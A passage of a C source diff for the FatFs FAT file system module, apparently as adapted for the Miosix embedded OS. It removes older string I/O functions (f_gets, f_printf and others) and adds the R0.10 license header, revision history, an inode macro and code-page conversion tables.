tot_cyl) return FR_INVALID_PARAMETER; - - /* Set partition table */ - p[1] = s_hd; /* Start head */ - p[2] = (BYTE)((b_cyl >> 2) + 1); /* Start sector */ - p[3] = (BYTE)b_cyl; /* Start cylinder */ - p[4] = 0x06; /* System type (temporary setting) */ - p[5] = e_hd; /* End head */ - p[6] = (BYTE)((e_cyl >> 2) + 63); /* End sector */ - p[7] = (BYTE)e_cyl; /* End cylinder */ - ST_DWORD(p + 8, s_part); /* Start sector in LBA */ - ST_DWORD(p + 12, sz_part); /* Partition size */ - - /* Next partition */ - b_cyl += p_cyl; - } - ST_WORD(p, 0xAA55); - - /* Write it to the MBR */ - return (disk_write(pdrv, buf, 0, 1) || disk_ioctl(pdrv, CTRL_SYNC, 0)) ? FR_DISK_ERR : FR_OK; -} - - -#endif /* _MULTI_PARTITION */ -#endif /* _USE_MKFS && !_FS_READONLY */ - - - - -#if _USE_STRFUNC -/*-----------------------------------------------------------------------*/ -/* Get a string from the file */ -/*-----------------------------------------------------------------------*/ - -TCHAR* f_gets ( - TCHAR* buff, /* Pointer to the string buffer to read */ - int len, /* Size of string buffer (characters) */ - FIL* fp /* Pointer to the file object */ -) -{ - int n = 0; - TCHAR c, *p = buff; - BYTE s[2]; - UINT rc; - - - while (n < len - 1) { /* Read characters until buffer gets filled */ -#if _LFN_UNICODE -#if _STRF_ENCODE == 3 /* Read a character in UTF-8 */ - f_read(fp, s, 1, &rc); - if (rc != 1) break; - c = s[0]; - if (c >= 0x80) { - if (c < 0xC0) continue; /* Skip stray trailer */ - if (c < 0xE0) { /* Two-byte sequence */ - f_read(fp, s, 1, &rc); - if (rc != 1) break; - c = (c & 0x1F) << 6 | (s[0] & 0x3F); - if (c < 0x80) c = '?'; - } else { - if (c < 0xF0) { /* Three-byte sequence */ - f_read(fp, s, 2, &rc); - if (rc != 2) break; - c = c << 12 | (s[0] & 0x3F) << 6 | (s[1] & 0x3F); - if (c < 0x800) c = '?'; - } else { /* Reject four-byte sequence */ - c = '?'; - } - } - } -#elif _STRF_ENCODE == 2 /* Read a character in UTF-16BE */ - f_read(fp, s, 2, &rc); - if (rc != 2) break; - c = s[1] + (s[0] << 8); -#elif _STRF_ENCODE == 1 /* Read a character in UTF-16LE */ - f_read(fp, s, 2, &rc); - if (rc != 2) break; - c = s[0] + (s[1] << 8); -#else /* Read a character in ANSI/OEM */ - f_read(fp, s, 1, &rc); - if (rc != 1) break; - c = s[0]; - if (IsDBCS1(c)) { - f_read(fp, s, 1, &rc); - if (rc != 1) break; - c = (c << 8) + s[0]; - } - c = ff_convert(c, 1); /* OEM -> Unicode */ - if (!c) c = '?'; -#endif -#else /* Read a character without conversion */ - f_read(fp, s, 1, &rc); - if (rc != 1) break; - c = s[0]; -#endif - if (_USE_STRFUNC == 2 && c == '\r') continue; /* Strip '\r' */ - *p++ = c; - n++; - if (c == '\n') break; /* Break on EOL */ - } - *p = 0; - return n ? buff : 0; /* When no data read (eof or error), return with error. */ -} - - - -#if !_FS_READONLY -#include -/*-----------------------------------------------------------------------*/ -/* Put a character to the file */ -/*-----------------------------------------------------------------------*/ - -typedef struct { - FIL* fp; - int idx, nchr; - BYTE buf[64]; -} putbuff; - - -static -void putc_bfd ( - putbuff* pb, - TCHAR c -) -{ - UINT bw; - int i; - - - if (_USE_STRFUNC == 2 && c == '\n') /* LF -> CRLF conversion */ - putc_bfd(pb, '\r'); - - i = pb->idx; /* Buffer write index (-1:error) */ - if (i < 0) return; - -#if _LFN_UNICODE -#if _STRF_ENCODE == 3 /* Write a character in UTF-8 */ - if (c < 0x80) { /* 7-bit */ - pb->buf[i++] = (BYTE)c; - } else { - if (c < 0x800) { /* 11-bit */ - pb->buf[i++] = (BYTE)(0xC0 | c >> 6); - } else { /* 16-bit */ - pb->buf[i++] = (BYTE)(0xE0 | c >> 12); - pb->buf[i++] = (BYTE)(0x80 | (c >> 6 & 0x3F)); - } - pb->buf[i++] = (BYTE)(0x80 | (c & 0x3F)); - } -#elif _STRF_ENCODE == 2 /* Write a character in UTF-16BE */ - pb->buf[i++] = (BYTE)(c >> 8); - pb->buf[i++] = (BYTE)c; -#elif _STRF_ENCODE == 1 /* Write a character in UTF-16LE */ - pb->buf[i++] = (BYTE)c; - pb->buf[i++] = (BYTE)(c >> 8); -#else /* Write a character in ANSI/OEM */ - c = ff_convert(c, 0); /* Unicode -> OEM */ - if (!c) c = '?'; - if (c >= 0x100) - pb->buf[i++] = (BYTE)(c >> 8); - pb->buf[i++] = (BYTE)c; -#endif -#else /* Write a character without conversion */ - pb->buf[i++] = (BYTE)c; -#endif - - if (i >= (int)(sizeof pb->buf) - 3) { /* Write buffered characters to the file */ - f_write(pb->fp, pb->buf, (UINT)i, &bw); - i = (bw == (UINT)i) ? 0 : -1; - } - pb->idx = i; - pb->nchr++; -} - - - -int f_putc ( - TCHAR c, /* A character to be output */ - FIL* fp /* Pointer to the file object */ -) -{ - putbuff pb; - UINT nw; - - - pb.fp = fp; /* Initialize output buffer */ - pb.nchr = pb.idx = 0; - - putc_bfd(&pb, c); /* Put a character */ - - if ( pb.idx >= 0 /* Flush buffered characters to the file */ - && f_write(pb.fp, pb.buf, (UINT)pb.idx, &nw) == FR_OK - && (UINT)pb.idx == nw) return pb.nchr; - return EOF; -} - - - - -/*-----------------------------------------------------------------------*/ -/* Put a string to the file */ -/*-----------------------------------------------------------------------*/ - -int f_puts ( - const TCHAR* str, /* Pointer to the string to be output */ - FIL* fp /* Pointer to the file object */ -) -{ - putbuff pb; - UINT nw; - - - pb.fp = fp; /* Initialize output buffer */ - pb.nchr = pb.idx = 0; - - while (*str) /* Put the string */ - putc_bfd(&pb, *str++); - - if ( pb.idx >= 0 /* Flush buffered characters to the file */ - && f_write(pb.fp, pb.buf, (UINT)pb.idx, &nw) == FR_OK - && (UINT)pb.idx == nw) return pb.nchr; - return EOF; -} - - - - -/*-----------------------------------------------------------------------*/ -/* Put a formatted string to the file */ -/*-----------------------------------------------------------------------*/ - -int f_printf ( - FIL* fp, /* Pointer to the file object */ - const TCHAR* fmt, /* Pointer to the format string */ - ... /* Optional arguments... */ -) -{ - va_list arp; - BYTE f, r; - UINT nw, i, j, w; - DWORD v; - TCHAR c, d, s[16], *p; - putbuff pb; - - - pb.fp = fp; /* Initialize output buffer */ - pb.nchr = pb.idx = 0; - - va_start(arp, fmt); - - for (;;) { - c = *fmt++; - if (c == 0) break; /* End of string */ - if (c != '%') { /* Non escape character */ - putc_bfd(&pb, c); - continue; - } - w = f = 0; - c = *fmt++; - if (c == '0') { /* Flag: '0' padding */ - f = 1; c = *fmt++; - } else { - if (c == '-') { /* Flag: left justified */ - f = 2; c = *fmt++; - } - } - while (IsDigit(c)) { /* Precision */ - w = w * 10 + c - '0'; - c = *fmt++; - } - if (c == 'l' || c == 'L') { /* Prefix: Size is long int */ - f |= 4; c = *fmt++; - } - if (!c) break; - d = c; - if (IsLower(d)) d -= 0x20; - switch (d) { /* Type is... */ - case 'S' : /* String */ - p = va_arg(arp, TCHAR*); - for (j = 0; p[j]; j++) ; - if (!(f & 2)) { - while (j++ < w) putc_bfd(&pb, ' '); - } - while (*p) putc_bfd(&pb, *p++); - while (j++ < w) putc_bfd(&pb, ' '); - continue; - case 'C' : /* Character */ - putc_bfd(&pb, (TCHAR)va_arg(arp, int)); continue; - case 'B' : /* Binary */ - r = 2; break; - case 'O' : /* Octal */ - r = 8; break; - case 'D' : /* Signed decimal */ - case 'U' : /* Unsigned decimal */ - r = 10; break; - case 'X' : /* Hexdecimal */ - r = 16; break; - default: /* Unknown type (pass-through) */ - putc_bfd(&pb, c); continue; - } - - /* Get an argument and put it in numeral */ - v = (f & 4) ? (DWORD)va_arg(arp, long) : ((d == 'D') ? (DWORD)(long)va_arg(arp, int) : (DWORD)va_arg(arp, unsigned int)); - if (d == 'D' && (v & 0x80000000)) { - v = 0 - v; - f |= 8; - } - i = 0; - do { - d = (TCHAR)(v % r); v /= r; - if (d > 9) d += (c == 'x') ? 0x27 : 0x07; - s[i++] = d + '0'; - } while (v && i < sizeof s / sizeof s[0]); - if (f & 8) s[i++] = '-'; - j = i; d = (f & 1) ? '0' : ' '; - while (!(f & 2) && j++ < w) putc_bfd(&pb, d); - do putc_bfd(&pb, s[--i]); while (i); - while (j++ < w) putc_bfd(&pb, d); - } - - va_end(arp); - - if ( pb.idx >= 0 /* Flush buffered characters to the file */ - && f_write(pb.fp, pb.buf, (UINT)pb.idx, &nw) == FR_OK - && (UINT)pb.idx == nw) return pb.nchr; - return EOF; -} - -#endif /* !_FS_READONLY */ -#endif /* _USE_STRFUNC */ - -#endif //WITH_FILESYSTEM +/*----------------------------------------------------------------------------/ +/ FatFs - FAT file system module R0.10 (C)ChaN, 2013 +/-----------------------------------------------------------------------------/ +/ FatFs module is a generic FAT file system module for small embedded systems. +/ This is a free software that opened for education, research and commercial +/ developments under license policy of following terms. +/ +/ Copyright (C) 2013, ChaN, all right reserved. +/ +/ * The FatFs module is a free software and there is NO WARRANTY. +/ * No restriction on use. You can use, modify and redistribute it for +/ personal, non-profit or commercial products UNDER YOUR RESPONSIBILITY. +/ * Redistributions of source code must retain the above copyright notice. +/ +/-----------------------------------------------------------------------------/ +/ Feb 26,'06 R0.00 Prototype. +/ +/ Apr 29,'06 R0.01 First stable version. +/ +/ Jun 01,'06 R0.02 Added FAT12 support. +/ Removed unbuffered mode. +/ Fixed a problem on small (<32M) partition. +/ Jun 10,'06 R0.02a Added a configuration option (_FS_MINIMUM). +/ +/ Sep 22,'06 R0.03 Added f_rename(). +/ Changed option _FS_MINIMUM to _FS_MINIMIZE. +/ Dec 11,'06 R0.03a Improved cluster scan algorithm to write files fast. +/ Fixed f_mkdir() creates incorrect directory on FAT32. +/ +/ Feb 04,'07 R0.04 Supported multiple drive system. +/ Changed some interfaces for multiple drive system. +/ Changed f_mountdrv() to f_mount(). +/ Added f_mkfs(). +/ Apr 01,'07 R0.04a Supported multiple partitions on a physical drive. +/ Added a capability of extending file size to f_lseek(). +/ Added minimization level 3. +/ Fixed an endian sensitive code in f_mkfs(). +/ May 05,'07 R0.04b Added a configuration option _USE_NTFLAG. +/ Added FSINFO support. +/ Fixed DBCS name can result FR_INVALID_NAME. +/ Fixed short seek (<= csize) collapses the file object. +/ +/ Aug 25,'07 R0.05 Changed arguments of f_read(), f_write() and f_mkfs(). +/ Fixed f_mkfs() on FAT32 creates incorrect FSINFO. +/ Fixed f_mkdir() on FAT32 creates incorrect directory. +/ Feb 03,'08 R0.05a Added f_truncate() and f_utime(). +/ Fixed off by one error at FAT sub-type determination. +/ Fixed btr in f_read() can be mistruncated. +/ Fixed cached sector is not flushed when create and close without write. +/ +/ Apr 01,'08 R0.06 Added fputc(), fputs(), fprintf() and fgets(). +/ Improved performance of f_lseek() on moving to the same or following cluster. +/ +/ Apr 01,'09 R0.07 Merged Tiny-FatFs as a configuration option. (_FS_TINY) +/ Added long file name feature. +/ Added multiple code page feature. +/ Added re-entrancy for multitask operation. +/ Added auto cluster size selection to f_mkfs(). +/ Added rewind option to f_readdir(). +/ Changed result code of critical errors. +/ Renamed string functions to avoid name collision. +/ Apr 14,'09 R0.07a Separated out OS dependent code on reentrant cfg. +/ Added multiple sector size feature. +/ Jun 21,'09 R0.07c Fixed f_unlink() can return FR_OK on error. +/ Fixed wrong cache control in f_lseek(). +/ Added relative path feature. +/ Added f_chdir() and f_chdrive(). +/ Added proper case conversion to extended character. +/ Nov 03,'09 R0.07e Separated out configuration options from ff.h to ffconf.h. +/ Fixed f_unlink() fails to remove a sub-directory on _FS_RPATH. +/ Fixed name matching error on the 13 character boundary. +/ Added a configuration option, _LFN_UNICODE. +/ Changed f_readdir() to return the SFN with always upper case on non-LFN cfg. +/ +/ May 15,'10 R0.08 Added a memory configuration option. (_USE_LFN = 3) +/ Added file lock feature. (_FS_SHARE) +/ Added fast seek feature. (_USE_FASTSEEK) +/ Changed some types on the API, XCHAR->TCHAR. +/ Changed .fname in the FILINFO structure on Unicode cfg. +/ String functions support UTF-8 encoding files on Unicode cfg. +/ Aug 16,'10 R0.08a Added f_getcwd(). +/ Added sector erase feature. (_USE_ERASE) +/ Moved file lock semaphore table from fs object to the bss. +/ Fixed a wrong directory entry is created on non-LFN cfg when the given name contains ';'. +/ Fixed f_mkfs() creates wrong FAT32 volume. +/ Jan 15,'11 R0.08b Fast seek feature is also applied to f_read() and f_write(). +/ f_lseek() reports required table size on creating CLMP. +/ Extended format syntax of f_printf(). +/ Ignores duplicated directory separators in given path name. +/ +/ Sep 06,'11 R0.09 f_mkfs() supports multiple partition to complete the multiple partition feature. +/ Added f_fdisk(). +/ Aug 27,'12 R0.09a Changed f_open() and f_opendir() reject null object pointer to avoid crash. +/ Changed option name _FS_SHARE to _FS_LOCK. +/ Fixed assertion failure due to OS/2 EA on FAT12/16 volume. +/ Jan 24,'13 R0.09b Added f_setlabel() and f_getlabel(). +/ +/ Oct 02,'13 R0.10 Added selection of character encoding on the file. (_STRF_ENCODE) +/ Added f_closedir(). +/ Added forced full FAT scan for f_getfree(). (_FS_NOFSINFO) +/ Added forced mount feature with changes of f_mount(). +/ Improved behavior of volume auto detection. +/ Improved write throughput of f_puts() and f_printf(). +/ Changed argument of f_chdrive(), f_mkfs(), disk_read() and disk_write(). +/ Fixed f_write() can be truncated when the file size is close to 4GB. +/ Fixed f_open(), f_mkdir() and f_setlabel() can return incorrect error code. +/---------------------------------------------------------------------------*/ + +#include "ff.h" /* Declarations of FatFs API */ +#include "diskio.h" /* Declarations of disk I/O functions */ + +// Added by TFT -- begin +#include +#include +#include +#include +#include "miosix_settings.h" + +#ifdef WITH_FILESYSTEM + +/** + * FAT32 does not have the concept of inodes, but we need them. + * This code thus uses the sector # containing the directory entry and the + * index within the sector where the directory entry is located as inode. + * This code has the following limitations: + * - If _FS_RPATH is defined and INODE() is applied to the '.' and '..' + * entries, it returns inconsistent results. That's because for example the + * inode of '..' must be the same of the '.' inode of the parent directory, + * but these are in two different directories, so the sector # are different. + * This has been fixed by disabling _FS_RPATH and filling those entries + * manually. + * - It assumes that one sector is 512 byte, so that 16 directory entries fit + * in one sector. + * - If there are more than 2^32/16 sectors (filesystems > 128GByte) inodes + * are no longer unique! + * This code also guarantees not to ever return inode values of 0 and 1, as + * zero is an invalid inode, and 1 is reserved by the Fat32Fs code for the + * '.' entry of the root directory of the filesystem. If the algorithm for + * some reason, such as a >128GB filesystem would return 0 or 1, it always + * returns 2. + */ +#define INODE(x) ((x->sect<<4 | x->index % 16)<3) ? 2 : (x->sect<<4 | x->index % 16) +// Added by TFT -- end + + +/*-------------------------------------------------------------------------- + + Module Private Definitions + +---------------------------------------------------------------------------*/ + +#if _FATFS != 80960 /* Revision ID */ +#error Wrong include file (ff.h). +#endif + + +/* Definitions on sector size */ +#if _MAX_SS != 512 && _MAX_SS != 1024 && _MAX_SS != 2048 && _MAX_SS != 4096 +#error Wrong sector size. +#endif +#if _MAX_SS != 512 +#define SS(fs) ((fs)->ssize) /* Variable sector size */ +#else +#define SS(fs) 512U /* Fixed sector size */ +#endif + + +/* Reentrancy related */ +#if _FS_REENTRANT +#if _USE_LFN == 1 +#error Static LFN work area cannot be used at thread-safe configuration. +#endif +#define ENTER_FF(fs) { if (!lock_fs(fs)) return FR_TIMEOUT; } +#define LEAVE_FF(fs, res) { unlock_fs(fs, res); return res; } +#else +#define ENTER_FF(fs) +#define LEAVE_FF(fs, res) return res +#endif + +#define ABORT(fs, res) { fp->err = (BYTE)(res); LEAVE_FF(fs, res); } + + + + + + +/* DBCS code ranges and SBCS extend character conversion table */ + +#if _CODE_PAGE == 932 /* Japanese Shift-JIS */ +#define _DF1S 0x81 /* DBC 1st byte range 1 start */ +#define _DF1E 0x9F /* DBC 1st byte range 1 end */ +#define _DF2S 0xE0 /* DBC 1st byte range 2 start */ +#define _DF2E 0xFC /* DBC 1st byte range 2 end */ +#define _DS1S 0x40 /* DBC 2nd byte range 1 start */ +#define _DS1E 0x7E /* DBC 2nd byte range 1 end */ +#define _DS2S 0x80 /* DBC 2nd byte range 2 start */ +#define _DS2E 0xFC /* DBC 2nd byte range 2 end */ + +#elif _CODE_PAGE == 936 /* Simplified Chinese GBK */ +#define _DF1S 0x81 +#define _DF1E 0xFE +#define _DS1S 0x40 +#define _DS1E 0x7E +#define _DS2S 0x80 +#define _DS2E 0xFE + +#elif _CODE_PAGE == 949 /* Korean */ +#define _DF1S 0x81 +#define _DF1E 0xFE +#define _DS1S 0x41 +#define _DS1E 0x5A +#define _DS2S 0x61 +#define _DS2E 0x7A +#define _DS3S 0x81 +#define _DS3E 0xFE + +#elif _CODE_PAGE == 950 /* Traditional Chinese Big5 */ +#define _DF1S 0x81 +#define _DF1E 0xFE +#define _DS1S 0x40 +#define _DS1E 0x7E +#define _DS2S 0xA1 +#define _DS2E 0xFE + +#elif _CODE_PAGE == 437 /* U.S. (OEM) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x9A,0x90,0x41,0x8E,0x41,0x8F,0x80,0x45,0x45,0x45,0x49,0x49,0x49,0x8E,0x8F,0x90,0x92,0x92,0x4F,0x99,0x4F,0x55,0x55,0x59,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ + 0x41,0x49,0x4F,0x55,0xA5,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x21,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 720 /* Arabic (OEM) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x45,0x41,0x84,0x41,0x86,0x43,0x45,0x45,0x45,0x49,0x49,0x8D,0x8E,0x8F,0x90,0x92,0x92,0x93,0x94,0x95,0x49,0x49,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ + 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 737 /* Greek (OEM) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x92,0x92,0x93,0x94,0x95,0x96,0x97,0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87, \ + 0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0xAA,0x92,0x93,0x94,0x95,0x96,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0x97,0xEA,0xEB,0xEC,0xE4,0xED,0xEE,0xE7,0xE8,0xF1,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 775 /* Baltic (OEM) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x9A,0x91,0xA0,0x8E,0x95,0x8F,0x80,0xAD,0xED,0x8A,0x8A,0xA1,0x8D,0x8E,0x8F,0x90,0x92,0x92,0xE2,0x99,0x95,0x96,0x97,0x97,0x99,0x9A,0x9D,0x9C,0x9D,0x9E,0x9F, \ + 0xA0,0xA1,0xE0,0xA3,0xA3,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xB5,0xB6,0xB7,0xB8,0xBD,0xBE,0xC6,0xC7,0xA5,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xE0,0xE1,0xE2,0xE3,0xE5,0xE5,0xE6,0xE3,0xE8,0xE8,0xEA,0xEA,0xEE,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 850 /* Multilingual Latin 1 (OEM) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x9A,0x90,0xB6,0x8E,0xB7,0x8F,0x80,0xD2,0xD3,0xD4,0xD8,0xD7,0xDE,0x8E,0x8F,0x90,0x92,0x92,0xE2,0x99,0xE3,0xEA,0xEB,0x59,0x99,0x9A,0x9D,0x9C,0x9D,0x9E,0x9F, \ + 0xB5,0xD6,0xE0,0xE9,0xA5,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x21,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC7,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xE0,0xE1,0xE2,0xE3,0xE5,0xE5,0xE6,0xE7,0xE7,0xE9,0xEA,0xEB,0xED,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 852 /* Latin 2 (OEM) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x9A,0x90,0xB6,0x8E,0xDE,0x8F,0x80,0x9D,0xD3,0x8A,0x8A,0xD7,0x8D,0x8E,0x8F,0x90,0x91,0x91,0xE2,0x99,0x95,0x95,0x97,0x97,0x99,0x9A,0x9B,0x9B,0x9D,0x9E,0x9F, \ + 0xB5,0xD6,0xE0,0xE9,0xA4,0xA4,0xA6,0xA6,0xA8,0xA8,0xAA,0x8D,0xAC,0xB8,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBD,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC6,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD1,0xD1,0xD2,0xD3,0xD2,0xD5,0xD6,0xD7,0xB7,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xE0,0xE1,0xE2,0xE3,0xE3,0xD5,0xE6,0xE6,0xE8,0xE9,0xE8,0xEB,0xED,0xED,0xDD,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xEB,0xFC,0xFC,0xFE,0xFF} + +#elif _CODE_PAGE == 855 /* Cyrillic (OEM) */ +#define _DF1S 0 +#define _EXCVT {0x81,0x81,0x83,0x83,0x85,0x85,0x87,0x87,0x89,0x89,0x8B,0x8B,0x8D,0x8D,0x8F,0x8F,0x91,0x91,0x93,0x93,0x95,0x95,0x97,0x97,0x99,0x99,0x9B,0x9B,0x9D,0x9D,0x9F,0x9F, \ + 0xA1,0xA1,0xA3,0xA3,0xA5,0xA5,0xA7,0xA7,0xA9,0xA9,0xAB,0xAB,0xAD,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB6,0xB6,0xB8,0xB8,0xB9,0xBA,0xBB,0xBC,0xBE,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC7,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD1,0xD1,0xD3,0xD3,0xD5,0xD5,0xD7,0xD7,0xDD,0xD9,0xDA,0xDB,0xDC,0xDD,0xE0,0xDF, \ + 0xE0,0xE2,0xE2,0xE4,0xE4,0xE6,0xE6,0xE8,0xE8,0xEA,0xEA,0xEC,0xEC,0xEE,0xEE,0xEF,0xF0,0xF2,0xF2,0xF4,0xF4,0xF6,0xF6,0xF8,0xF8,0xFA,0xFA,0xFC,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 857 /* Turkish (OEM) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x9A,0x90,0xB6,0x8E,0xB7,0x8F,0x80,0xD2,0xD3,0xD4,0xD8,0xD7,0x98,0x8E,0x8F,0x90,0x92,0x92,0xE2,0x99,0xE3,0xEA,0xEB,0x98,0x99,0x9A,0x9D,0x9C,0x9D,0x9E,0x9E, \ + 0xB5,0xD6,0xE0,0xE9,0xA5,0xA5,0xA6,0xA6,0xA8,0xA9,0xAA,0xAB,0xAC,0x21,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC7,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xE0,0xE1,0xE2,0xE3,0xE5,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xDE,0x59,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 858 /* Multilingual Latin 1 + Euro (OEM) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x9A,0x90,0xB6,0x8E,0xB7,0x8F,0x80,0xD2,0xD3,0xD4,0xD8,0xD7,0xDE,0x8E,0x8F,0x90,0x92,0x92,0xE2,0x99,0xE3,0xEA,0xEB,0x59,0x99,0x9A,0x9D,0x9C,0x9D,0x9E,0x9F, \ + 0xB5,0xD6,0xE0,0xE9,0xA5,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x21,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC7,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD1,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xE0,0xE1,0xE2,0xE3,0xE5,0xE5,0xE6,0xE7,0xE7,0xE9,0xEA,0xEB,0xED,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 862 /* Hebrew (OEM) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ + 